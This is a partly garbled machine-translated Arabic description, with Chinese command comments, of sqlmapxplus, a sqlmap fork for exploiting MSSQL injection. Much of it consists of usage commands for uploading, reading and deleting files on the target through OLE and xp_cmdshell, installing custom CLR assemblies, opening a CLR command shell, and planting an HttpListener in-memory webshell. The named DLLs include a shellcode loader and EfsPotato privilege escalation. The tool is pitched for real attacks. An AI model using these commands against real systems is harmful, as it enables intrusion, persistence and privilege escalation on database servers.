في العديد من تدريبات الهجوم والدفاع الإقليمية، لا يزال حقن مكدس قاعدة بيانات SQL Server يحتوي على تكرار عالٍ لتفجير الثغرات، ومع ذلك، نظرًا لبعض قيود سيناريو التدريب الشائعة، مثل عدم الوصول إلى الشبكة، والأذونات المنخفضة، وفصل الموقع وقاعدة البيانات، والحماية الطرفية، والصعوبة. عند الاتصال بالإنترنت، تعد صيانة الأذونات مرهقة، ولم يعد بإمكان --os-shell واحد فقط تلبية احتياجاتنا.
يعتمد sqlmapxplus على sqlmap، وإعادة فتح أداة استغلال ثغرات قاعدة البيانات الكلاسيكية، والإشارة إلى الحلول المختلفة، وإضافة أساليب استخدام حقن قاعدة بيانات MSSQL. في الوقت الحاضر، تم الانتهاء من جزء من التطوير الثاني، بما في ذلك تحميل ملف ole ووظيفة تحميل كود القشرة الآلي.
تعليمات التحديث 20240508 : وظيفة فتح ole المضافة حديثًا، وظيفة جديدة لقراءة الملفات المحددة، وظيفة جديدة لنقل الملفات المحددة، وظيفة جديدة لنسخ الملفات المحددة، وظيفة جديدة لحذف الملفات المحددة، وظيفة جديدة لتحديد موقع الملفات المحددة، جديد وظيفة استعلام عملية التخزين، وظيفة حذف العملية المخزنة الجديدة، تعديل طريقة تحميل ole، تعديل عملية تثبيت clr، تعديل طريقة تنفيذ أمر clr، إزالة الأخطاء الناجمة عن التعليقات الصينية
تهدف إلى حل مشكلة فشل تثبيت clr الناجم عن فقدان إرسال dll أثناء عملية الشبكة الفعلية (حل مؤقت). وقد وجد أن clr dll المستخدم في وظيفة --install-clr الأصلية كبير جدًا، ويتم إجراء عدد كبير من عمليات الحقن غالبًا ما يكون مطلوبًا في القتال الفعلي، إذا أدت عملية الحقن إلى فشل تنفيذ ملف dll ولا يمكن إدخال ملف dll بنجاح، فستتم الآن إزالة عملية التثبيت التلقائي الأصلية بنقرة واحدة وتعديلها للسماح للمستخدم بتخصيص ملف dll dll بناءً على الموقف المستهدف الفعلي وإضافة --check- مؤقتًا يحدد خيار الملف ما إذا كان ملف dll قد تم نقله بنجاح إلى المضيف الهدف أم لا، أضف --check-clr مؤقتًا لتحديد ما إذا كان قد تم تحميل الوظيفة المحددة من قبل المستخدم بنجاح قاعدة البيانات.
لماذا تحدث مشكلة تضخيم dll أثناء عملية التحميل؟ التحويل إلى النظام الست عشري ثم الاستعادة يؤدي إلى زيادة حجم الملف. على سبيل المثال، سيتم تحويل الحرف A إلى 41 بالنظام الست عشري، مما يضاعف الحجم.
تم تعديل مشاكل تخصيص clr (مكتمل) install-clr لتتطلب تحديد مسار clr.dll المخصص، أدخل اسم الفئة المعرفة من قبل المستخدم في مربع المطالبة واسم الطريقة المعرفة من قبل المستخدم clr_shell طريقة تنفيذ وظيفة clr في وضع clr_shell يتم تعديله إلى: وظيفة محددة من قبل المستخدم تمر في المعلمات (مكتملة)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
حول أولي :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
وظائف أخرى:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
حول كلر :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
الحساب العام: الحرب السيبرانية
كوكب المعرفة: دليل اختبار الاختراق
الرابط المرجعي للنسخة القديمة: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
الرابط المرجعي للنسخة الجديدة: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/